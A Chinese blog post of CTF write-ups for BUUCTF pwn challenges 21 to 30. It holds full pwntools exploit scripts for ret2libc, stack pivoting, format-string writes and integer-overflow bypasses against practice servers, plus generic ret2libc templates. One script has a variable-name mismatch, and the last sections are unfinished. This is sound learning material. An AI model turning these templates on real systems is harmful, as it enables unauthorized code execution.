21~30

21.铁人三项(第五赛区)_2018_rop

(1)分析

image-20230917120318310

main

image-20230917120421671

be_nice_to_people

image-20230917120457948

vulnerable_function

image-20230917120347553

有read漏洞,buf可以溢出

image-20230917123723106

没有system和/bin/sh字符串,动态编译,堆栈保护也开了,基本确定是ret2libc方法

我们可以用main函数中的write函数泄露libc版本

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',26094)
#io=process('./21')
elf=ELF('./21')

main_addr=elf.sym['main'] #main_addr=0x80484c9
write_plt=elf.plt['write']
write_got=elf.got['write']

payload1=b'a'*0x8c+p32(write_plt)+p32(main_addr)
payload1 += p32(0)+p32(write_got)+p32(4)

io.sendline(payload1)

write_addr=u32(io.recv(4))
libc = LibcSearcher("write",write_addr)
libcbase=write_addr-libc.dump('write')
system_addr=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump('str_bin_sh')

payload2 = b'a'*0x8c+p32(system_addr)+p32(0)+p32(str_bin_sh)

io.sendline(payload2)
io.interactive()

22.bjdctf_2020_babyrop

(1)分析

image-20230917145353480

main

image-20230917145516884

init函数

image-20230917151905088

明示ret2libc了,那么我们就用puts函数泄露libc版本

vuln函数

image-20230917145536407

read函数漏洞,可溢出

64位,用ROPgadget找到pop_rdi_ret=0x400733

cyclic调试出偏移地址为40字节,即0x28

准备工作完成,接下来就是构造payload

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',26549)
elf=ELF('./22')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi_ret=0x400733
ret=0x4004c9
main_addr=elf.sym['main']

payload1=b'a'*0x28+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

io.sendline(payload1)
io.recv()
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))

libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')

payload2=b'a'*0x28+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

io.sendline(payload2)
io.interactive()

21、22题总结

*ret2libc的攻击思路

发送了一个换行符,所以要减掉0xa
PLT可以称作内部函数表,而GOT称为全局函数表。这两个表是相对应的,也就是PLT上的某一个函数地址就对应GOT上的一个地址
在第一次执行的时候,GOT表中的数据为@plt函数中下一条指令的地址,上面提到过,已加粗。
puts_plt为plt表puts项内容,此处相当于调用puts()

栈溢出 ==> 调用puts、printf……函数(fun_plt_addr) ==> 返回main函数(根据被调用函数决定带几个参数) ==> 参数中包括泄露got表地址(fun_got_addr) ==> 接收got表中的内容(该函数的真实地址) ==> libc寻址找到后门函数地址 ==> 之前返回main函数了,再栈溢出一次 ==> 调用后门函数提权

PS :32位先调用函数,再设置函数参数;64位先在寄存器中设置好参数的值,最后再调用函数

ret2libc的payload模板

(1)32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',xxxxx)
#io=process('./xxx')
elf=ELF('./xxx')

main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
padding=xxx #偏移地址

payload1=b'a'*padding
payload1 += p32(write_plt)+p32(main_addr)
payload1 += p32(0)+p32(write_got)+p32(4)

#根据函数的用法来构造,如果是puts函数则参考64位的方法

io.sendline(payload1)

#下面这个需要根据实际情况获取泄露函数真实地址
write_addr=u32(io.recv(4))
log.success('leak_write_real_addr => {}'.format(hex(write_addr)))

#以下为通用操作
libc = LibcSearcher("write",write_addr)
libcbase=write_addr-libc.dump('write')
system_addr=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump('str_bin_sh')

'''libc=ELF('libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))'''

payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)

io.sendline(payload2)
io.interactive()

(2)64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',xxxxx)
elf=ELF('./xxx')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi_ret=xxx
#ret=xxx #有时栈平衡会需要这个gadget凑数
main_addr=elf.sym['main']
padding=xxx #偏移地址

payload1=b'a'*padding
payload1+=p64(pop_rdi_ret)+p64(puts_got)
payload1+=p64(puts_plt)+p64(main_addr)
#根据函数的用法来构造,如果是write函数则参考32位的方法

io.sendline(payload1)
#下面两行需要根据实际情况来获取泄露函数真实地址
io.recv()
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('leak_puts_real_addr => {}'.format(hex(puts_addr)))
#以下为通用操作
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')

'''libc=ELF('libc-2.23.so')
libcbase = puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))'''

payload2=b'a'*padding+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

io.sendline(payload2)
io.interactive()

关于泄露函数真实地址的接收问题

在第八题,exp使用的是

io.recvuntil(b”\n”)
puts_addr = u64(io.recvline().strip().ljust(8,b’\0’))

而本题用的是

io.recv()
puts_addr=u64(io.recv(6).ljust(8,’\x00’))

还有

read_addr=u64(io.recvuntil(b’\x7f’).ljust(8,b’\x00’))
read_addr=u64(io.recv(8))
read_addr=u64(io.recv(6).ljust(8,b’\x00’))

那么我们来分析一下不同情况下怎么接收到正确的地址

*理解几个不同接收函数的作用

recv(numb=字节大小, timeout=default) : 接收指定字节数。

recvall() : 一直接收直到达到文件EOF。

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。

recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。

recvrepeat(timeout=default) : 持续接收直到EOF或timeout。

发送函数也顺带说了

send(data) : 发送数据。

sendline(data) : 发送一行数据,相当于在数据末尾加\n。

sendafter()

payload中接收时出现的一些参数解释:

[start:stop:step]是一个切片操作,从start位置开始,stop-1位置结束,每隔step-1个字符获取一次,可以用负数表示从倒数第几个开始/结束,step默认为1,-1表示逆向获取字符

[0:4] 接收前4个字节。

[-6:] 从倒数第6个字节开始,到字符串末尾结束

[:-6] 从头开始,到倒数第7个元素为止,不包括倒数第6个元素

.ljust(8, b’\x00’) 是一个方法调用

它将接收的字节后用字节 ‘\x00’ 进行填充,以确保最终的字节序列总共有8个字节,用于补全字节。

32位

由于32位程序的函数地址为四个字节,所以一般的接收方式为

fun_addr=u32(io.recv(4)) #接收前4个
fun_addr=u32(io.recvuntil(b’\x7f’).ljust(4,b’\x00’)) #接收到\x7f即停止接收(第一个不可见字符),用空字符填充到4字节

64位

由于64位程序的函数地址为8个字节,但是地址里的值就只有6位,所以我们一般只接收6位有效字节,剩下的用空字符填充

fun_addr=u64(io.recv(6).ljust(8,b’\x00’)) #接收6个字节,用空字符填充到8位
fun_addr = u64(io.recvline().strip().ljust(8,b’\0’)) #接收一行,.strip()用于删除行末尾的换行符 ’\n‘,用空字符填充到8位

泄露不同函数的payload构造方法及解释(长期更新中)

write函数

puts函数

printf函数

23.bjdctf_2020_babystack2

(1)分析

image-20230918192227889

main

image-20230918192303766

看下主函数,对nbytes有限制,无法造成溢出,但是最近学的CSAPP启示了我,计算机采用补码表示负数,if语句判定的时候比较会自动将nbytes转化为有符号数比较,不管它的二进制表示,所以我们可以用负数(-1是最大的无符号数)来造成溢出,其实题目的强制转换提示的很明显了。

backdoor

image-20230918192411300

后门函数直接给了

那么本题主要考点就是计算机对负数的补码表示,其余很简单

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

io=remote('node4.buuoj.cn',29703)
padding=0x18
backdoor_addr=0x400726

payload=b'a'*padding+p64(0x400726)

io.recvuntil(b'Please input the length of your name:\n')
io.sendline(b'-1')
io.recvuntil(b"What's u name?\n")
io.sendline(payload)
io.interactive()

24.jarvisoj_fm

格式化字符串漏洞

(1)分析

image-20230918195021927

main

image-20230918195007845

可以看到main函数中直接就给了后门函数,同时read栈溢出漏洞也存在,但是需要x=4时执行,跟进查看,发现x在data段,那么溢出就没法覆盖x的值了,考虑其他方法,发现printf格式化字符串漏洞也存在,尝试采用printf任意读写的特性来修改x的值

image-20230918201114680

可以看到参数在栈上存储的位置偏移为11

那么可以

payload=p32(x_addr)+”%11$n”

解释一下,首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,获取了shell

但是如果需要x的值为1怎么办?

(2)payload

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',28625)

x_addr=0x804A02C
#offset=0x8c
payload=p32(x_addr)+b"%11$n"

io.sendline(payload)
io.interactive()

25.ciscn_2019_es_2

栈迁移(栈劫持)

(1)分析

image-20230918203615511

main

image-20230918203603661

init

image-20230918203635474

vul

image-20230918203708236

无/bin/sh字符串,但是我们注意到了hack函数

image-20230918204022815

进入pwndbg调试溢出字节大小

image-20230918211009661

那么问题来了,栈大小不够payload构造怎么办?

这就是本题的重点———栈迁移(栈劫持)

这里放一下[大佬的分析]:https://www.cnblogs.com/ZIKH26/articles/15817337.html

(2)payload

这里放一下改过的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

io=remote('node4.buuoj.cn',28967)

system_addr=0x8048400
leave_ret=0x08048562

payload=b'a'*0x27+b'b' #这里栈溢出覆盖后用b做了个标记方便获取ebp的地址
io.send(payload) #在第一次 read 以泄露出栈上ebp内容时,注意应使用pwntools中的 send 而非 sendline,否则payload末尾会附上终止符导致无法连带打印出栈上内容。
io.recvuntil(b"b")
s=ebp=u32(io.recv(4))-0x38 #0x38是main函数的ebp地址距s的起始地址偏移(不同题目有不同方式)
#s的起始地址,即重新调转到这个栈内执行

#进行栈劫持
payload2=b'aaaa'+p32(system_addr)+p32(0xdeadbeef)+p32(s+0x10)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret) #先覆盖ebp,再覆盖返回地址

io.send(payload2)
io.interactive()

25题(栈迁移)总结

0x01 栈迁移原理及使用条件

栈迁移就是控制程序的执行流(这个换的地方既可以是bss段也可以是栈里面)可溢出的长度不够用,也就是说我们要么是没办法溢出到返回地址只能溢出覆盖ebp,要么是刚好溢出覆盖了返回地址但是受payload长度限制,没办法把参数给写到返回地址后面。总之呢,就是能够溢出的长度不够,没办法GetShell,所以我们才需要换一个地方GetShell。

使用栈迁移的条件:

1、要能够栈溢出,这点尤其重要,最起码也要溢出覆盖个ebp

2、你要有个可写的地方(就是你要GetShell的地方),先考虑bss段,最后再考虑写到栈中

0x02 **==ebp和ebp的内容是两码事(它们二者的关系就如同c语言中,指针p与 p的关系)==*

image-20230918214224639

ebp是0xffe7a9e8,它的内容是0xffe7aa38,而这个内容也是一个地址,这个地址里面装的又是0x8059b50。ebp本身大部分时候都是一个地址(程序正常运行情况下),而ebp的内容可以是地址,也可以不是地址(程序正常运行下,ebp的内容也装的是地址,但如果你进行溢出的话,自然可以不装成地址)。我这里想强调的是ebp和ebp的内容这两者一定不能混为一谈

0x03 栈迁移的核心,就在于两次的leave;ret指令上面

第一次:

leave:

mov esp,ebp(此时ebp中的内容已被修改):esp到ebp的==位置==

pop ebp :ebp到了我们修改的那个地址,esp下移一位(+4),指向返回地址(事先被修改为leave ;ret的地址)

ret:

pop eip :esp中的内容被赋给eip(leave ;ret的地址)

第二次:

leave:

mov esp,ebp(此时ebp中的内容为修改到的地址中的内容(一般为aaaa,让esp下移一格)):esp到ebp的位置(我们修改的那个地址)

pop ebp :ebp到了0x41414141,esp下移一位,指向返回地址(system函数所在地址)

ret:

pop eip :esp中的内容被赋给eip(system函数的地址)

栈劫持攻击过程完成

总结一下原理,核心是利用两次的leave;ret,第一次leave ret;将ebp给放入我们指定的位置(这个位置的就是迁移后的所在位置)第二次将esp也迁移到这个位置,并且pop ebp之后,esp指向了下一个内存单元(此时这里放的就是system函数的plt地址)

0x04 payload攻击思路

那么我们攻击的思路是先找到ebp的位置(地址),然后栈溢出覆盖到ebp的地址,把它改成我们放置后门函数的地址(或利用程序中已有的后门函数),同时要将返回地址的地址覆盖成leave;ret指令的地址,接下来用ROP链完成攻击

0x05 例题分析

以上题为例,现在我们知道需要泄露ebp地址,在IDA或gdb中找后门函数地址(有时需通过之前学的方法自己构造),在ROPgadget中找leave;ret指令的地址

那么我们一步步分析

==正常的函数调用时会将主调函数调用前的ebp地址保存在被调函数的ebp中,以便函数调用完后将ebp恢复到原来的位置。==(详见栈的相关内容)

在栈中,覆盖ret(函数返回地址)后就是ebp的地址,所以我们需要先溢出覆盖返回地址,调用read函数读出ebp的内容(此题为main函数的ebp地址,因为main函数调用的vul函数),因为是printf来打印字符串该函数在未遇到终止符 ‘\0’ 时会一直输出。利用该特性可帮助我们泄露出栈上的地址,从而能计算出要劫持到栈上的准确地址。我们第一次read正好输入0x30个字符,那就没有地方在填上00了(read读入之后,会自动补充00),因此就可以把下面的ebp地址给打印出来了。然后第二个read用来填充我们构造的system函数以及参数(我们这次是转移到了栈中,也就是第一次read读入s的地方)

栈迁移的最后一个 pop eip 执行结束后, esp 将指向 aaaa 后的内容开始执行(aaaa填栈,不然程序会到system函数地址的下一个地址执行)

劫持目标地址即为缓冲区变量 s 的起始地址,配合偏移来表达/bin/sh的地址,可以数出来偏移为0x10,那么所有准备工作完成,payload及注释见上。

ebp在返回地址前

payload攻击方式图解

image-20230921220126741

26.jarvisoj_tell_me_something

(1)分析

image-20230919191504962

main

image-20230919191825196

发现read函数漏洞可溢出
good_game

image-20230919191753613

发现这里读取了flag,那就没啥可说的了。

(2)payload

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

io=remote('node4.buuoj.cn',25563)

flag_addr=0x400620

payloads=b'a'*0x88+p64(flag_addr)

io.sendline(payload)
io.interactive()

27.[HarekazeCTF2019]baby_rop2

(1)分析

image-20230919194953596

main

image-20230919194940491

read漏洞

printf函数泄露函数地址

传参的时候需要用到寄存器,在64位x86架构中,传参寄存器的顺序如下:

  1. RDI (Destination Index): 用于传递第一个整数参数。
  2. RSI (Source Index): 用于传递第二个整数参数。
  3. RDX (Data Register): 用于传递第三个整数参数。
  4. RCX (Counter Register): 用于传递第四个整数参数。
  5. R8: 用于传递第五个整数参数。
  6. R9: 用于传递第六个整数参数。

(这些寄存器用于传递函数的前六个整数参数。如果函数需要传递更多参数,额外的参数通常会被压入栈中,或者使用浮点寄存器来传递浮点数参数。函数的返回值通常存储在RAX寄存器中。如果返回值是一个浮点数,则通常使用XMM0寄存器。)

printf函数的原型int printf( const char* format , [argument] … );
举个例子:print(’%s’,‘hello world’)
大概就是这样的用法,这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令

首先要用rdi接收第一个参数,就是带有类似于%s这种格式的字符串,使用程序里自带的语句

然后用rsi接收read_got的地址作为第二个参数,这样printf泄露read函数地址就完成了。

后面为ret2libc通用步骤,无需多言。

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',29238)
#io=process('./27')
elf=ELF('./27')

printf_plt=elf.plt['printf']
read_got=elf.got['read']
pop_rdi_ret=0x400733
pop_rsi_r15_ret=0x400731
format_str=0x400790
#ret=0x4004d1 #有时栈平衡会需要这个gadget凑数
main_addr=elf.sym['main']
padding=0x28 #偏移地址

payload1=b'a'*padding
payload1+=p64(pop_rdi_ret)+p64(format_str) #printf的第一个参数
payload1+=p64(pop_rsi_r15_ret)+p64(read_got)+p64(0) #printf的第二个参数及gadget凑数参数
payload1+=p64(printf_plt)+p64(main_addr) #调用printf函数泄露read函数地址
#根据函数的用法来构造

io.sendline(payload1)

read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

#以下为通用操作
libc = LibcSearcher("read",read_addr)
libcbase = read_addr - libc.dump('read')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')

payload2=b'a'*padding+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

io.sendline(payload2)
io.interactive()

28.pwn2_sctf_2016

(1)分析

image-20230919205153427

main

image-20230919210540569

vuln

image-20230919210608915

说明:atoi (表示ascii to integer)是把字符串转换成整型数的一个函数,应用在计算机程序和办公软件中。 int atoi(const char *nptr) 函数会扫描参数nptr字符串,会跳过前面的空白字符(例如空格,tab缩进)等。

这里的v2变量是为int型的-1可以绕过if(v2>32)的判断,不确定行不行,我们再看看get_n函数

get_n

image-20230919210636787

get_n()是以unsigned int来接收的v2,所以这里可以造成整数溢出

do_thing

image-20230919210725211

发现int 0x80程序软中断

任务明确了,我们要让:

eax=0xb

ebx=/bin/sh 的地址

ecx=0

edx=0

结果竹篮打水一场空……

image-20230919220533877

没有能改rax的,只能试着ret2libc了

攻击思路:

1、整数溢出绕过

2、栈溢出构造rop来ret2libc3,从而getshell

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

#io = process('./pwn2_sctf_2016')
io = remote('node4.buuoj.cn', 27657)
elf = ELF('./28')
libc = ELF('./libc-2.23.so')

atoi_got_addr = elf.got['atoi']
printf_plt_addr = elf.plt['printf']
format_str_addr = 0x80486f8 # %s
main_addr = elf.symbols['main']

fakeebp = 0x4
offset = 0x2c + fakeebp #48字节
#利用printf函数来leak在libc中的atoi函数
leak_payload = b'a' * offset
leak_payload+= p32(printf_plt_addr) + p32(main_addr) + p32(format_str_addr) + p32(atoi_got_addr)
io.sendlineafter(b'How many bytes do you want me to read?',b'-1')
io.sendlineafter(b'bytes of data!\n',leak_payload)

io.recvuntil(b'You said: ') #这里是接收main函数执行完的输出
io.recvuntil(b'You said: ') #这里才是接收rop链造成的输出,leak出的地址在这里面,因为main函数执行了两次
atoi_realaddr = u32(io.recvuntil(b'\xf7')[-4:])
log.success('leak_atoi_real_addr => {}'.format(hex(atoi_realaddr))) #测试是否成功获取leak的地址,可作为规范

#libcsearcher好像没有对应的libc
#libc = LibcSearcher('atoi',atoi_realaddr)
#base_addr = atoi_realaddr - libc.dump('atoi')
#system_addr = libc.dump('system') + base_addr
#binsh_addr = libc.dump('str_bin_sh') + base_addr

base_addr = atoi_realaddr - libc.symbols['atoi']
system_addr = libc.symbols['system'] + base_addr
binsh_addr = next(libc.search(b'/bin/sh')) + base_addr

payload = b'a' * offset + p32(system_addr) + p32(main_addr) + p32(binsh_addr)

io.sendlineafter(b'How many bytes do you want me to read?',b'-1')
io.sendlineafter(b'bytes of data!\n',payload)
io.interactive()

27、28题总结

均为ret2libc和printf函数泄露libc地址

关键在于找程序中printf函数的第一个参数和payload构造问题

0x01 在64位x86架构中,传参寄存器的顺序

传参的时候需要用到寄存器,在64位x86架构中,传参寄存器的顺序如下:

  1. RDI (Destination Index): 用于传递第一个整数参数。
  2. RSI (Source Index): 用于传递第二个整数参数。
  3. RDX (Data Register): 用于传递第三个整数参数。
  4. RCX (Counter Register): 用于传递第四个整数参数。
  5. R8: 用于传递第五个整数参数。
  6. R9: 用于传递第六个整数参数。

0x02 printf函数的原型

int printf( const char* format , [argument] … );

例:print(’%s’,‘hello world’)
这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令

首先要设置第一个参数,就是带有类似于%s这种格式的字符串,在程序里找

0x03 payload中关于printf函数的ROP链构造

1
2
3
4
5
6
7
8
9
10
#32位
payload = b'a' * padding
payload+= p32(printf_plt_addr) + p32(main_addr) + p32(format_str_addr) + p32(atoi_got_addr)
#format_str_addr是%s在程序中的位置,atoi_got_addr是被泄露的函数got表地址

#64位
payload = b'a' * padding
payload1+=p64(pop_rdi_ret)+p64(format_str) #printf的第一个参数
payload1+=p64(pop_rsi_ret)+p64(read_got) #printf的第二个参数
payload1+=p64(printf_plt)+p64(main_addr) #调用printf函数泄露read函数地址

29.jarvisoj_level3

(1)分析

image-20230921221752264

main

image-20230921221942560

vulnerable_function

image-20230921221959662

buf可溢出24字节

看看有没有后门

image-20230921224436858

基本确定又是ret2libc

那么不用细说了,直接上模板打,LibcSearcher不行就换网站的libc版本打

(2)payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')

io=remote('node4.buuoj.cn',28018)
#io=process('./29')
elf=ELF('./29')

main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
padding=0x8c #偏移地址

payload1=b'a'*padding
payload1 += p32(write_plt)+p32(main_addr)
payload1 += p32(1)+p32(write_got)+p32(4)

#根据函数的用法来构造,如果是puts函数则参考64位的方法

io.recvuntil('Input:\n')
io.sendline(payload1)

#下面这个需要根据实际情况获取泄露函数真实地址
write_addr=u32(io.recv(4))
#log.success('leak_write_real_addr => {}'.format(hex(wrinte_addr))

#以下为通用操作

'''libc = LibcSearcher("write",write_addr)
libcbase=write_addr-libc.dump('write')
system_addr=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump('str_bin_sh')'''

libc=ELF('libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))

payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)

io.recvuntil('Input:\n')
io.sendline(payload2)
io.interactive()

30.ciscn_2019_s_3

ret2csu/SROP

(1)分析

image-20230921221842411

main

image-20230922121125568

vuln

image-20230922121405115

gadgets

image-20230922130435860

发现了将rax赋值为59的操作

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59; stub_rt_sigreturn 的调用号 为 15

调用方式: 使用 syscall 进行系统调用

loc_4011FE 段全是 pop,所以这段代码可以将我们构造的栈中的值全部存入 rbx, rbp, r12, r13, r14, r15寄存器中
loc_4011E8 段会比较复杂一点:

首先三段 mov 指令将存储在 r15的值赋给 rdx,存储在 r14的值赋给 rsi,存储在 r13的值赋给 edi,此时 rdi 的高32位寄存器中值为0,所以我们也可以控制 rdi 的值。
然后 call 指令跳转到 r12寄存器存储的位置处(在 gadgets1中置 rbx=0)
rbx+1,判断是否与 rbp 相等,否则重新执行 gadgets2,这里我们为了不重新执行,将 rbp 置为1

(2)payload

1

30题(ret2csu+sigret/SROP)总结

ret2csu原理

_libc_csu_init 函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数大部分程序里都有。

简单来说此攻击方式就是利用 _libc_csu_init 函数中多个对寄存器的弹栈指令来修改我们攻击中所需的寄存器值完成exp的编写。

该函数中被利用的汇编指令如下:

image-20231121194310456

那么我们找到程序溢出点后需要

SROP原理

linux系统调用及signal机制

SROP攻击过程分析


21~30
http://example.com/2023/09/17/WP/BUUCTF/21-30/
作者
Jwj-Learning
发布于
2023年9月17日
许可协议